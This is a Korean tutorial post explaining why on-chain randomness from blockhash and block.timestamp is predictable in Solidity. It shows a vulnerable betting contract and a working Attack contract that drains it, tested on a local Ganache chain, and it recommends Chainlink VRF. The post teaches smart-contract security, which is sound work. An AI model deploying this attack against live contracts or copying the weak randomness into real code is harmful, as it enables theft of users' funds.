randomness 는 무작위성을 뜻하는 단어이다.
여러 프로그래밍 언어는 난수를 요청하는 내장함수가 있는데, 이 경우 요청하는 컴퓨터의 로컬 시간 값을 시드로 사용하여 난수를 생성한다.
하지만 이더리움의 스마트 컨트랙트 언어인 솔리디티는 난수를 요청하는 내장함수가 없다. 그 이유로는,
첫 번째. 이더리움 블록체인은 투명하고 결정론적이며 검증 가능한 구조이기 때문이다.
모든 노드가 블록체인의 상태에 대해 합의해야 하는 문제로 인해 난수를 생성할 수 없다는 것.
두 번째. 이더리움 블록체인을 사용하는 solidity 에서는 스마트 컨트랙트를 실행할 때, 이에 대한 합의를 도달하기 위해서는 항상 같은 결과값을 도출해야 하는데, 난수를 생성할 경우 이러한 결과값 도출에 문제가 생기기에 불가능하다.
세 번째. solidity 내에서도 block.timestamp, blockhash 와 같은 미래에 정해질 값(현재 알 수 없고, 예측도 할 수 없는 값) 을 seed 로 사용해 난수를 생성할 수도 있다.
하지만 이러한 경우, 채굴자가 블록과 관련된 위치에 있어, Seed 값에 가장 먼저 접근할 수 있고, 이는 난수를 예측하거나 계산하기에 유리한 위치에 있다. 또한, 악의적인 행동을 할 수도 있기에 완벽한 난수 생성이라고 보기 어렵다.
따라서 대체 방법으로 체인링크의 스마트 컨트랙트 VRF(검증 가능한 무작위성) 기능을 사용할 수 있다.
아래에 정리한 블로그 글을 참조.
이더리움의 block 데이터를 이용하여 난수처럼 보이는 값을 생성할 수는 있다.
블록해시, 블록 난이도, 블록시간 등의 값을 keccak256 과 함께 사용하면 된다.
이렇게 만든 난수 생성 퀴즈와 퀴즈를 맞추면 1이더를 받아가도록 간단하게 컨트랙트를 작성해보았다.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
contract Randomness {
receive() external payable { }
function deposit() public payable {
payable(address(this)).transfer(msg.value);
}
function guess(uint _guess) public {
uint answer = uint(keccak256(abi.encodePacked(
blockhash(block.number -1), block.timestamp
)));
if(_guess == answer) {
(bool sent, ) = msg.sender.call{value : 1 ether}("");
require(sent, "Failed to send ether.");
}
}
}
난수의 생성에서 blockhash(block.number -1)
를 사용하는 이유는..
blockhash(block.number)
는 guess 함수가 실행될 때, 트랜잭션이 블록에 포함되어 해시 값이 바뀐다.
함수 실행 => 블록해시가 변경 => 다시 함수 실행
처럼 무한정으로 함수를 실행하고 트랜잭션을 보낼 수 없기에, 가장 최근에 생성 되었던 블록의 해시 값을 이용하는 것이다.
그리고 block.timestamp
값은 역시 예측할 수 없기에 난수 생성 시드로써 적절하다.
하지만 아래의 Attack 컨트랙트를 통해 공격한다면 어떨까?
contract Attack {
receive() external payable { }
function attack(Randomness randomness) public {
uint answer = uint(keccak256(abi.encodePacked(
blockhash(block.number -1), block.timestamp
)));
randomness.guess(answer);
}
}
난수를 생성하는 코드를 attack 함수에서 그대로 사용한다면, 같은 블록 내에서 두 함수가 실행되어 같은 시드가 사용될 것이다.
같은 시드를 사용한다면 당연히 같은 값이 나올테고, 100% 확률로 이더를 받아갈 수 있게 된다.
리믹스로도 확인이 가능하지만, 블록에 대한 코드가 작성되어있어 ganache 의 로컬 블록체인을 이용해 테스트 해보았다.
먼저, 가나슈의 세팅에서
PORT NUMBER 를 8545,
AUTOMINE 기능을 off,
Minning Block Time 을 5초로 설정해준다.
설정했다면 아래 그림처럼 자동으로 5초마다 블록이 생성된다.
이제 리믹스에 가나슈를 연결해본다.
좌측 상단의 Custom - External Http Provider
를 클릭.
클릭하면 나오는 설정 창에서 아래의 값이 맞는지 확인하고 OK.
그리고 블록 해시와 블록 시간을 가져오는 함수를 추가하고 배포.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
contract Randomness {
receive() external payable { }
function deposit() public payable {
payable(address(this)).transfer(msg.value);
}
function guess(uint _guess) public {
uint answer = uint(keccak256(abi.encodePacked(
blockhash(block.number -1), block.timestamp
)));
if(_guess == answer) {
(bool sent, ) = msg.sender.call{value : 1 ether}("");
require(sent, "Failed to send ether.");
}
}
function getBlockHash() public view returns(bytes32){
return blockhash(block.number);
}
function getBlockTime() public view returns(uint){
return block.timestamp;
}
}
87번 블록에서 배포된 컨트랙트와 86번 블록의 해시 값을 비교해보고, Unix 시간으로 계산된 블록 타임도 확인한다.
이 값은 블록 생성 시간인 매 5초마다 바뀌게 된다.
블록 값으로 만든 시드를 확인했으니, Attack 컨트랙트를 배포한다.
contract Attack {
receive() external payable { }
function attack(Randomness randomness) public {
uint answer = uint(keccak256(abi.encodePacked(
blockhash(block.number -1), block.timestamp
)));
randomness.guess(answer);
}
}
1이더를 Randomness 컨트랙트에 입금시키고, 공격하면 성공적으로 돈을 빼올 수 있다.
솔리디티의 블록 값을 이용해 난수를 생성하면 안되는 이유에 대해 알아보았다.
keccak256 를 이용해 블록 값과 개발자가 생각하는 salt 값을 포함시켜 난수를 생성할 수는 있겠지만, 결국 돈과 관련된 컨트랙트는 코드를 투명하게 공개해야 유저를 모을 수 있을 것이다.
하지만, 컨트랙트 코드를 공개한다면 위와 같은 방법으로 쉽게 공격당할 것이다..
따라서 스마트 컨트랙트에서 난수를 사용할 것이라면 VRF 를 사용하는 것이 가장 좋은 방법이 될 것이다.